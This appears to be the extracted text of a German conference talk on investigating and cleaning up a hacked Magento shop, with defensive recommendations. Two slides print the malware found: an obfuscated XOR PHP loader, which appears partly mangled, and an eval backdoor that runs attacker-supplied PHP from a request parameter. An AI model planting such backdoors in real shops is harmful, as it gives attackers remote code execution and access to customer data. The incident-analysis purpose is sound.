Tatort Magento-Shop: Woran erkenne ich, dass ein Magento-Shop infiziert ist? Welche Maßnahmen muss ich ergreifen, um den Shop wieder sicher zu machen? Wie lassen sich Angriffe von vornherein vermeiden?
Im Sommer 2015 entdeckte das Entwicklungsteam von TUDOCK bei der Übernahme eines Magento-Shops verdächtigen Code im Quelltext. Die folgende Analyse zeigte: Der Shop war gehackt! Niels Pahlmann erklärte auf der Meet Magento DE (04.07.2016 in Leipzig) am konkreten Praxis-Beispiel, wie sein Team auf das Hacking aufmerksam wurde, welche Sicherheitslücken die Angreifer wie ausnutzten und welche Maßnahmen TUDOCK zur Bereinigung und Prävention weiterer Attacken ergriff.
2. /Niels Pahlmann
niels.pahlmann@tudock.de
Geschäftsführer der TUDOCK GmbH
Vita:
Studium des Wirtschaftsingenieurwesens
Berater im Bereich Logistik
2004 Gründung von TUDOCK mit Michael Wolf
Geschäftsführung, Webentwicklung & Projektmanagement
Seit 2007 aktive Beschäftigung mit Magento
Seit 2015 Organisation des Magento Stammtischs Hamburg
4. Anruf von Lead
1.Shop lag brach
2. Möchte Shop wieder nach vorne bringen
3. Neue Investitionsmöglichkeiten
4. Ursprüngliche Anfrage
a.Magento-Update
b.Integration von Zahlarten
/Anruf von Lead - Bild: http://imgur.com/WvrYMhG
11. /Kundendaten in JPG
<?php
$QFiBPpm="CnixCDklXqQY"^"3x1cx0cx1fx1c6x0ex1c4x102x3c";
$AjPmUZp="0EIrYIg2IyMffIrKL"^"x1fx24x075x113x3fAx1dx2fx2ax17x1fx0cx1cdx29"; $QFiBPpm($AjPmUZp,
"3FvsGTHwLxtxJrgU2QWL3ZDDI9bAgqyZwjH44OqEBZ3LHYf9p3KhRNkZMBatsPIfzPYseExgeprlENktFuRW92wK4M4mbBHQ
Rf0vkxRFc0qhMRRRBio0aaKUmE7EGDVYjUKKHcPkb7InNZ6P9jPYAZtneprltD0SXJcflrGCnOq2omGmMVB"^"Vx30x17x1fov
x21x11dx11x07x0bx2fx06Ox09nux08x1evx0bx11x01x1am9fx04x19x5ex07x5eJnx12x14gx1cx21wrox10lx064x7c
x21fx0ex3bx06x15L9x25ex3cx5dSmtFx5dfx60ATx27x40RPx40x10Xpzx5cBpMex60x5cx04Gzx00x2cQx08Wx26x7b
4cAx19VMx5erx2fx10Cx14x1cex0ex0evx1dx3bx2aa4x24x18x016bGx2d7x1b56x0ex30lx16aJpx10BRx3fx0fx22rjx
0cx1d5x02x1cx10x0f1x3d1x2bUx1cx1c4ox307x2ex06A1x5bx7ccx0b7x18FGDx7cMx30tk", "aNGHzXsTVgqyEn");
/**
* All rights reserved
*
* Reuse or modification of this source code is not allowed
* without written permission from creativestyle GmbH
*/
class Package_Module_CheckoutController extends Mage_Core_Controller_Front_Action {
Package_Module_CheckoutController
13. /PHP-Code über Parameter ausführbar gemacht
eval("if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '6921b8550b454766877e6014aee5d3e1') &&
isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }");
/**
* This file is part of The Official Amazon Payments Magento Extension
* (c) creativestyle GmbH <amazon@creativestyle.de>
* All rights reserved
*
* Reuse or modification of this source code is not allowed
* without written permission from creativestyle GmbH
*/
class Package_Module_CheckoutController extends Mage_Core_Controller_Front_Action {
Package_Module_CheckoutController
20. /Mögliche Infektionswege - Bild: http://imgur.com/PSdeMbQ
1. Magento Vulnerabilities; wie z.B. Shoplift, SQL
Injections in Third Party Extensions
2. Server Software Vulnerabilities (Heartbleed,
ImageMagick)
3. Installation von anderen Systemen auf demselben
Server (bspw. Wordpress)
Auffällige Magento-BE-Benutzer weisen auf Magento
Vulnerabilities hin.
Mögliche Infektionswege
21. Shoplift
Remote Execution Code Exploit
• Ausführen von unautorisierten Admin Actions (bspw. Cms_Wysiwyg)
• Erzeugen von kontrollierbaren Admin Grids wie Grid Widgets
• SQL-Injection über Grid-Parameter
=> Kontrolle über den Shop durch das Installieren von Admin User und Malware
/Mögliche Infektionswege
22. Aufgaben für uns
1.Aktuellen Shop vom Netz nehmen, um
a. weiteren Schaden durch aktuelle Infektionen zu verhindern
b. weitere Infektionen zu verhindern
2.Schadcode aus dem Quelltext beseitigen und Infektionen beseitigen
a. durch Neuaufbau des Shops mit aktuellen Versionen von Magento und Extensions
b. Analyse Templates und lokale Module
3.Kontrolle der Datenbank auf mögliches XSS.
4.(Patchen)
5.Bereinigen der Backend-Benutzer
6.Etwaige weitere Infektionswege ausschließen und Server komplett neu aufsetzen
/Aufgaben für uns - Bild: Bob the Builder
23. Herausforderungen
1. Bei Übernahme der Quelltexte keine
Versionshistorie und kein Backup
2. Funktional veränderte Core-Dateien
3. Keine Kenntnis über Server-Struktur/Zugänge
/Herausforderungen für uns
24. Maßnahmen für Magento-Shops
/Maßnahmen
1. https
2. schnelles Patchen
3. sicheres Passwort-Handling
4. stetige Quelltext-Überwachung (bspw. Extension zur Überwachung installieren)
5. regelmäßige Checks auf Magereport oder mit magerun
6. Admin-Route umbenennen und htaccess-Schutz
7. Downloader entfernen
8. Updates von Third Party Extensions; nicht benötigte Erweiterungen entfernen
9. Server für Wordpress und Magento trennen
25. Fazit
With Websites comes responsibility.
With ecommerce websites comes great responsibility.
/Fazit